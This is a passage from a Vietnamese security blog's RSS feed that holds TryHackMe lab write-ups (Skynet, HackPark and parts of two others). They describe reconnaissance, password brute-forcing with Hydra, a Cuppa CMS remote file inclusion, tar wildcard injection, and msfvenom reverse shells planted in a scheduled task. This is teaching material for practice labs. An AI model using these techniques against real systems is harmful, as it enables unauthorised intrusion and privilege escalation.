&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/8.Dg4VZdhE_yAXet.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Ý nghĩa các tham số như sau:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;-t	Hiển thị TCP sockets&lt;/li&gt;
&lt;li&gt;-u	Hiển thị UDP sockets&lt;/li&gt;
&lt;li&gt;-l	Chỉ hiển thị listening sockets&lt;/li&gt;
&lt;li&gt;-p	Hiển thị process đang dùng socket&lt;/li&gt;
&lt;li&gt;-n	Không phân giải tên dịch vụ&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tại máy tấn công, mình sử dụng &lt;code&gt;SSH tunel&lt;/code&gt; với tùy chọn &lt;code&gt;-L&lt;/code&gt; để mở kết nối từ port &lt;code&gt;10000&lt;/code&gt; đến máy mục tiêu.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/9.1O1_YQ7R_Z1XXMYn.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Khi kết nối thành công, mình truy cập vào web với địa chỉ &lt;code&gt;localhost:10000&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/10.95P-P9he_ZsPjPl.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Mình sử dụng thông tin đăng nhập của &lt;code&gt;agent47&lt;/code&gt; để đăng nhập vào web này thì truy cập vào được trang thông tin hệ thống, tại thanh tiêu đề của trang này sẽ có thông tin về phiên bản của nó.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/11.CHUdTkhX_1PPIm0.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Leo thang đặc quyền bằng Metasploit&lt;/h2&gt;
&lt;p&gt;Từ các thông tin tìm được, mình tra cứu trên &lt;a href=&quot;https://www.exploit-db.com&quot;&gt;ExploitDB&lt;/a&gt; thì thấy phiên bản của CMS này có một lỗ hổng dẫn đến kiểm soát truy cập.&lt;/p&gt;
&lt;p&gt;Tìm trên &lt;code&gt;msfconsole&lt;/code&gt; thì có module &lt;code&gt;exploit/unix/webapp/x_show_cgi_exec&lt;/code&gt; hỗ trợ khai thác.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/12.DxsOi-Ex_1qMqMV.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Một số thông tin yêu cầu phải đặt để có thể khai thác như sau:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/13.C6FFCF6z_ZduFFJ.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Khai thác thành công, &lt;code&gt;msfconsole&lt;/code&gt; tạo cho mình 2 session.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/14.Cye5LgUn_Z2kSsOD.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Mình truy cập vào &lt;code&gt;session 1&lt;/code&gt; tại đây mình đã có shell với quyền &lt;code&gt;root&lt;/code&gt; và flag được đặt tại thư mục &lt;code&gt;/root&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/15.D3np3ZF4_v1yeO.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/thumbnail.CMp_Ot7C.jpeg"/><enclosure url="/_astro/thumbnail.CMp_Ot7C.jpeg"/></item><item><title>Skynet</title><link>https://quangthaictc.github.io/blog/2025/tryhackme/skynet</link><guid isPermaLink="true">https://quangthaictc.github.io/blog/2025/tryhackme/skynet</guid><description>Máy Linux chủ đề Terminator, có lỗ hổng bảo mật.</description><pubDate>Wed, 17 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import { Aside } from &apos;astro-pure/user&apos;&lt;/p&gt;
&lt;h2&gt;Thu thập thông tin&lt;/h2&gt;
&lt;h3&gt;Nmap scan&lt;/h3&gt;
&lt;p&gt;Kết quả scan từ nmap mình thu được các thông tin như sau:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) # [!code highlight:1]
| ssh-hostkey: 
|   2048 99:23:31:bb:b1:e9:43:b7:56:94:4c:b9:e8:21:46:c5 (RSA)
|   256 57:c0:75:02:71:2d:19:31:83:db:e4:fe:67:96:68:cf (ECDSA)
|_  256 46:fa:4e:fc:10:a5:4f:57:57:d0:6d:54:f6:c3:4d:fe (ED25519)
80/tcp  open  http        Apache httpd 2.4.18 ((Ubuntu)) # [!code highlight:1]
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Skynet
110/tcp open  pop3        Dovecot pop3d # [!code highlight:1]
|_pop3-capabilities: PIPELINING UIDL RESP-CODES SASL AUTH-RESP-CODE CAPA TOP
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open  imap        Dovecot imapd # [!code highlight:1]
|_imap-capabilities: LOGIN-REFERRALS more IDLE SASL-IR capabilities have LOGINDISABLEDA0001 LITERAL+ Pre-login post-login IMAP4rev1 ENABLE listed ID OK
445/tcp open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) # [!code highlight:1]
Service Info: Host: SKYNET; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 1h39m58s, deviation: 2h53m13s, median: -1s
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: skynet
|   NetBIOS computer name: SKYNET\x00
|   Domain name: \x00
|   FQDN: skynet
|_  System time: 2025-09-17T03:42:42-05:00
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: SKYNET, NetBIOS user: &amp;#x3C;unknown&gt;, NetBIOS MAC: &amp;#x3C;unknown&gt; (unknown)
| smb2-time: 
|   date: 2025-09-17T08:42:43
|_  start_date: N/A
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Website&lt;/h3&gt;
&lt;p&gt;Truy cập vào website mục tiêu thì ở trang chủ không có gì đặc biệt, giao diện không thực hiện được chức năng gì.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/1.BvcqB2_R_kqClr.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;h3&gt;Samba&lt;/h3&gt;
&lt;p&gt;Mình kiểm tra dịch vụ &lt;code&gt;Samba&lt;/code&gt; có thư mục &lt;code&gt;anonymous&lt;/code&gt; có thể truy cập được và bên trong có file &lt;code&gt;attention.txt&lt;/code&gt; và thư mục &lt;code&gt;logs&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/2.BwqLrf_3_Z7Jskm.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Bên trong file &lt;code&gt;attention.txt&lt;/code&gt; có nội dung như sau:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Một sự cố hệ thống gần đây đã khiến nhiều mật khẩu bị thay đổi. Tất cả nhân viên Skynet được yêu cầu đổi mật khẩu sau khi thấy thông báo này.&lt;/p&gt;
&lt;p&gt;– Miles Dyson&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Tại thư mục &lt;code&gt;logs&lt;/code&gt; có 3 file &lt;code&gt;log1.txt&lt;/code&gt;, &lt;code&gt;log2.txt&lt;/code&gt;, &lt;code&gt;log3.txt&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Trong đó, &lt;code&gt;log2.txt&lt;/code&gt; và &lt;code&gt;log3.txt&lt;/code&gt; là file trống. Còn &lt;code&gt;log1.txt&lt;/code&gt; có nội dung như sau:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cyborg007haloterminator
terminator22596
terminator219
terminator20
terminator1989
terminator1988
terminator168
terminator16
terminator143
terminator13
terminator123!@#
terminator1056
terminator101
terminator10
terminator02
terminator00
roboterminator
pongterminator
manasturcaluterminator
exterminator95
exterminator200
dterminator
djxterminator
dexterminator
determinator
cyborg007haloterminator
avsterminator
alonsoterminator
Walterminator
79terminator6
1996terminator
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Nhìn vào danh sách này thì mình suy đoán khả năng là mật khẩu.&lt;/p&gt;
&lt;h3&gt;Gobuster scan&lt;/h3&gt;
&lt;p&gt;Sử dụng công cụ &lt;code&gt;gobuster&lt;/code&gt; để scan thư mục, mình tìm thấy một số thông tin như sau:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;/admin                (Status: 301) [Size: 312] [--&gt; http://10.201.47.98/admin/]
/css                  (Status: 301) [Size: 310] [--&gt; http://10.201.47.98/css/]
/js                   (Status: 301) [Size: 309] [--&gt; http://10.201.47.98/js/]
/config               (Status: 301) [Size: 313] [--&gt; http://10.201.47.98/config/]
/ai                   (Status: 301) [Size: 309] [--&gt; http://10.201.47.98/ai/]
/squirrelmail         (Status: 301) [Size: 319] [--&gt; http://10.201.47.98/squirrelmail/]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Trong đó, tất cả đều trả về mã &lt;code&gt;403&lt;/code&gt; (Không có quyền truy cập) nhưng chỉ có &lt;code&gt;/squirrelmail&lt;/code&gt; truy cập được.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/3.DjW77acZ_1KO6W7.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Từ các thông tin thu thập được, mình đã thử sử dụng username &lt;code&gt;milesdyson&lt;/code&gt; là tên thư mục share lúc đầu tìm được và kết hợp với mật khẩu trong file &lt;code&gt;log1.txt&lt;/code&gt; để brute force trang đăng nhập vào &lt;code&gt;SquirrelMail&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/4.I2KAeO3f_ZB6N1v.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Khi đăng nhập vào, mình phát hiện một mail phản hồi về khi người dùng này yêu cầu reset mật khẩu dịch vụ &lt;code&gt;SMB&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/5.B7UuqQ9T_U2HoM.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Sử dụng thông tin đăng nhập này đăng nhập vào thư mục share &lt;code&gt;milesdyson&lt;/code&gt; lúc đầu, bên trong là một số file &lt;code&gt;PDF&lt;/code&gt; và thư mục &lt;code&gt;notes&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/6.Bc2xsMEg_ZHpEhY.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Và trong thư mục &lt;code&gt;notes&lt;/code&gt; có một đống file khác...&lt;/p&gt;
&lt;p&gt;Nhưng đương nhiên, cái gì &lt;em&gt;&lt;strong&gt;quan trọng&lt;/strong&gt;&lt;/em&gt; thì mình ưu tiên.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/7.arIBvyNs_Z1osqJh.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Nội dung bên trong như sau:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1. Add features to beta CMS /45kra24xxx28v3yd
2. Work on T-800 Model 101 blueprints
3. Spend more time with my wife
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Truy cập vào đường dẫn như file ghi, mình được chuyển tới trang như sau.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/8.Q6m_mLVn_ZEtdG4.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Tiếp tục sử dụng &lt;code&gt;gobuster&lt;/code&gt; scan tiếp xem bên trong có gì, thì mình phát hiện trang &lt;code&gt;/administrator&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;/administrator        (Status: 301) [Size: 341] [--&gt; http://10.201.47.98/45kra24xxx28v3yd/administrator/]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Truy cập vào đường dẫn này, mình được chuyển tới một trang đăng nhập cho &lt;code&gt;administrator&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/9.X_eFxMHF_Z1UDLbO.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Flag 1&lt;/h2&gt;
&lt;h3&gt;Lỗ hổng Remote File Inclusion&lt;/h3&gt;
&lt;p&gt;Tìm trên &lt;a href=&quot;https://www.exploit-db.com&quot;&gt;ExploitDB&lt;/a&gt; thì nền tảng CMS này từng có một lỗ hổng &lt;code&gt;Remote File Inclusion&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/10.4ef6EVhG_p8xGk.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Lỗ hổng này được giải thích như sau:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Một kẻ tấn công có thể bao gồm (include) các file PHP cục bộ hoặc từ xa, hoặc đọc các file không phải PHP bằng lỗ hổng này. Dữ liệu do người dùng kiểm soát được dùng để tạo tên file sẽ được include vào file hiện tại. Mã PHP trong file đó sẽ được thực thi, mã không phải PHP sẽ được nhúng vào đầu ra. Lỗ hổng này có thể dẫn tới chiếm toàn bộ server.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Nói đơn giản thì máy mục tiêu sẽ lấy file PHP mà mình host và thực thi nó.&lt;/p&gt;
&lt;h3&gt;Truy cập www-data và flag&lt;/h3&gt;
&lt;p&gt;Lỗ hổng này khai thác từ URL &lt;code&gt;http://target/cuppa/alerts/alertConfigField.php?urlConfig=&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Phía sau đó sẽ là &lt;code&gt;Remote&lt;/code&gt; file hoặc &lt;code&gt;Local&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;Tại đây, mình host một HTTP Server chứa file PHP độc hại với mục đích mở một &lt;code&gt;reverse shell&lt;/code&gt; và thực thi lệnh sau để gửi request đến serser (Hoặc cũng có thể thao tác trên browser):&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/11.Bg_J5vwf_Z2bsl2.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Khi request được gửi, tại listener netcat mình mở sẽ nhận được kết nối ngược lại, mình có quyền truy cập vào &lt;code&gt;www-data&lt;/code&gt; và tìm thấy flag tại thư mục &lt;code&gt;/home&lt;/code&gt; của người dùng &lt;code&gt;milesdyson&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/12.By97M2qY_10U7mp.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Flag 2&lt;/h2&gt;
&lt;h3&gt;Cấu hình sai ở dịch vụ crontab&lt;/h3&gt;
&lt;p&gt;Sau một lúc kiểm tra thì mình tìm thấy dịch vụ &lt;code&gt;crontab&lt;/code&gt; đang thực thi một file &lt;code&gt;backup.sh&lt;/code&gt; dưới quyền &lt;code&gt;root&lt;/code&gt; mỗi phút một lần.&lt;/p&gt;
&lt;p&gt;Đây là một lỗ hổng giúp mình leo thang đặc quyền.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/13.BzTOZo1m_1UKVe6.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Đối với file này, mình không có quyền ghi nên không thể ghi vào file này để leo thang đặc quyền được.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/14.BuCxLYSb_fctUd.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Nhưng có một điều mà người quản lý server này làm rất ẩu, cụ thể file &lt;code&gt;backup.sh&lt;/code&gt; có nội dung như sau:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;#!/bin/bash
cd /var/www/html
tar cf /home/milesdyson/backups/backup.tgz *
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;File này có nhiệm vụ di chuyển sang thư mục &lt;code&gt;/var/www/html&lt;/code&gt;, sau đó thực thi lệnh &lt;code&gt;tar&lt;/code&gt; để nén tất cả mọi thứ trong này lại thành file &lt;code&gt;backup.tgz&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Vấn đề nằm ở dấu &lt;code&gt;* - có nghĩa là tất cả&lt;/code&gt;, mình có thể lợi dụng nó để thực thi file mà mình tạo với mục đích ...&lt;/p&gt;
&lt;p&gt;Khi &lt;code&gt;tar&lt;/code&gt; bắt đầu thực thi, nếu trong thư mục thực thi (ở đây là /var/www/html) tồn tại file có tên chứa &lt;code&gt;--&lt;/code&gt; thì nó sẽ coi như đây là một &lt;code&gt;option&lt;/code&gt; thay vì một file.&lt;/p&gt;
&lt;h3&gt;Truy cập người dùng root và flag&lt;/h3&gt;
&lt;p&gt;Lợi dụng lỗ hổng này, mình tạo một file &lt;code&gt;reverse shell&lt;/code&gt; về listener netcat mình đang mở và tạo 2 file chứa &lt;code&gt;--&lt;/code&gt; với mục đích thực thi file &lt;code&gt;rev-shell.sh&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/15.CTRHSGhP_Z1Wbnko.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Đợi &lt;code&gt;crontab&lt;/code&gt; thực thi, mình sẽ có được quyền truy cập vào người dùng &lt;code&gt;root&lt;/code&gt; và tìm thấy flag tại thư mục &lt;code&gt;/root&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/16.CD_uNqfS_Z2qOaEa.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/thumbnail.DJjaL5Nh.jpeg"/><enclosure url="/_astro/thumbnail.DJjaL5Nh.jpeg"/></item><item><title>HackPark</title><link>https://quangthaictc.github.io/blog/2025/tryhackme/hackpark</link><guid isPermaLink="true">https://quangthaictc.github.io/blog/2025/tryhackme/hackpark</guid><description>Dùng Hydra Bruteforce một website đăng nhập, xác định và sử dụng một khai thác công khai rồi leo thang đặc quyền trên máy Windows này!</description><pubDate>Sun, 14 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import { Aside } from &apos;astro-pure/user&apos;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://tryhackme.com/room/hackpark&quot;&gt;Link lab&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Sử dụng Hydra brute force trang đăng nhập&lt;/h2&gt;
&lt;p&gt;Mình tìm một trang đăng nhập để tấn công và xác định yêu cầu mà form thực hiện cho webserver. Thông thường, webserver thực hiện 2 loại request, &lt;strong&gt;GET&lt;/strong&gt; request được sử dụng để yêu cầu dữ liệu từ webserver và &lt;strong&gt;POST&lt;/strong&gt; request dùng để gửi dữ liệu đến webserver.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/1.5fHody9K_ZulYYR.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Thực hiện tìm &lt;code&gt;username&lt;/code&gt; bằng chức năng quên mật khẩu của website.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/2.DpoJbwl__Z2t9jCW.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Nếu &lt;code&gt;username&lt;/code&gt; tồn tại, webserver sẽ thực hiện gửi thông tin về email của người dùng đó và sẽ có kết quả trả về khác lúc nãy dù hiện tại đang lỗi.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/3.CEMyolaW_1f9I9Q.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Với &lt;code&gt;hydra&lt;/code&gt; mình sửa dụng cú pháp:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;hydra -l &amp;#x3C;USERNAME&gt; -P &amp;#x3C;PASWORD-WORDLIST&gt; http-post-form &quot;&amp;#x3C;PATH-URL&gt;:&amp;#x3C;DATA&gt;:&amp;#x3C;CONDITION&gt;&quot;

# -l                Sử dụng -L nếu muốn dùng wordlist username.
# http-post-form:
#           Phần data sử dụng ^USER^ và ^PASS^ để công cụ hiểu đang cần chèn username và password vào chỗ nào.
#           Phần condition có cú pháp:
#                   - S:&amp;#x3C;Condition&gt; nếu điều kiện đúng (Success - Ví dụ S:200 OK =&gt; Trả về kết quả nếu request trùng khớp.)
#                   - F:&amp;#x3C;Condition&gt; nếu điều kiện sai (Fail - Ví dụ F:404 Not found =&gt; Bỏ qua các request trùng khớp.)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Mình tìm được mật khẩu của người dùng &lt;code&gt;admin&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;[80][http-post-form] host: 10.201.59.2   login: admin   password: 1*a*2w*x
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Chiếm quyền kiểm soát&lt;/h2&gt;
&lt;p&gt;Sử dụng thông tin đăng nhập tìm được mình vào được trang &lt;code&gt;Administrator&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/4.DbZjTQCB_2fwzDR.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Thông tin phiên bản của &lt;code&gt;BlogEngine&lt;/code&gt; này tồn tại &lt;code&gt;CVE-2019-6714&lt;/code&gt; cho phép thực thi mã từ xa từ lỗ hổng &lt;code&gt;Path Traversal&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/5.BfTZlUFY_1WHcoH.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Sử dụng bản khai thác khai thác &lt;a href=&quot;https://www.exploit-db.com/exploits/46353&quot;&gt;tại đây&lt;/a&gt; mình thực hiện chiếm quyền kiểm soát webserver này.&lt;/p&gt;
&lt;p&gt;Tại đây mình chiếm được quyền kiểm soát vào &lt;code&gt;iis apppool\blog&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/6.CgIo3Zef_Z1y86fI.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Leo thang đặc quyền sử dung Metasploit&lt;/h2&gt;
&lt;p&gt;Sau khi có được quyền truy cập ban đầu, mình sử dụng &lt;code&gt;msfvenom&lt;/code&gt; tạo một file độc hại nhằm tạo một &lt;code&gt;reverse shell&lt;/code&gt; và nâng cấp shell này lên &lt;code&gt;meterpreter&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/7.DOZhbMpq_Z15kikg.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Tại máy mục tiêu mình tải file này về và thực thi nó.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/8.WyAagVlv_12LJIK.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Đồng thời, mình mở một listener &lt;code&gt;msfconsole&lt;/code&gt; với module &lt;code&gt;windows/meterpreter/reverse_tcp&lt;/code&gt; và khi bên máy mục tiêu thực thi file thành công thì mình sẽ có được &lt;code&gt;meterpreter shell&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/9.1IhQiRSs_Zk0DTz.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Kiểm tra sơ qua, máy này có thông tin phiên bản là &lt;code&gt;Windows Server 2012 R2 (6.3 Build 9600)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Trong đó có một dịch vụ gọi là &lt;code&gt;WindowsScheduler&lt;/code&gt; có khả năng khai thác, và tại thư mục này mọi người dùng đều có quyền &lt;code&gt;đọc/ghi/sửa&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/10.D-aFrKop_Z2bJQAx.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Kiểm tra các file log, mình phát hiện có một event thực thi &lt;code&gt;Message.exe&lt;/code&gt; cứ mỗi 30 giây với quyền &lt;code&gt;Administrator&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/12.DN03FlLA_2jElzG.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Từ các thông tin trên, mình sử dụng &lt;code&gt;msfvenom&lt;/code&gt; tạo một file độc hại giả mạo file &lt;code&gt;Message.exe&lt;/code&gt; với mục đích &lt;code&gt;reverse shell&lt;/code&gt; về máy mình và mở HTTP Server cho bước tiếp theo.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/14.fLQ5GQ8R_29WhiF.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Tại máy mục tiêu mình đổi tên file gốc thành &lt;code&gt;Message.exe.bak&lt;/code&gt; (Phòng trường hợp mình làm lỗi gì đó thôi) và tải file độc hại từ máy mình qua, sau đó đợi &lt;code&gt;WindowsScheduler&lt;/code&gt; thực thi (khoảng 30 giây).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/13.BLO8gkRO_2kB4gl.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Khi file được thực thi, mình sẽ có được &lt;code&gt;meterpreter shell&lt;/code&gt; với quyền &lt;code&gt;Administrator&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/15.BaLz87ih_Z20YVdV.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Quyền này chỉ nhỏ hơn &lt;code&gt;SYSTEM&lt;/code&gt; thôi nên mình có thể truy cập vào thư mục &lt;code&gt;Desktop&lt;/code&gt; của &lt;code&gt;Jeff&lt;/code&gt; và xem flag trong file &lt;code&gt;user.txt&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/16.giaB-vXY_ymvkJ.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Cuối cùng mình lấy được flag trong file &lt;code&gt;root.txt&lt;/code&gt; tại thư mục &lt;code&gt;Desktop&lt;/code&gt; của &lt;code&gt;Administrator&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/17.ftGxptDD_Z2oQAsJ.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/thumbnail.EVhfORJg.png"/><enclosure url="/_astro/thumbnail.EVhfORJg.png"/></item><item><title>Napping</title><link>https://quangthaictc.github.io/blog/2025/tryhackme/napping</link><guid isPermaLink="true">https://quangthaictc.github.io/blog/2025/tryhackme/napping</guid><description>Ngay cả các Admin cũng có thể ngủ trong công việc!</description><pubDate>Fri, 12 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Thu thập thông tin&lt;/h2&gt;
&lt;h3&gt;Nmap scan&lt;/h3&gt;
&lt;p&gt;Thực hiện scan port, mình phát hiện 2 port đang mở là &lt;code&gt;ssh&lt;/code&gt; và &lt;code&gt;http&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0) # [!code highlight:1]
| ssh-hostkey: 
|   3072 b4:7c:88:fd:ec:42:b4:a3:7f:16:19:bc:b1:5d:01:ca (RSA)
|   256 50:75:65:92:55:06:06:5e:00:8d:19:5b:e9:f0:15:72 (ECDSA)
|_  256 10:cc:c8:0f:99:0c:b2:29:03:e2:6d:a1:2c:69:89:b8 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu)) # [!code highlight:1]
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set # [!code highlight:1]
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
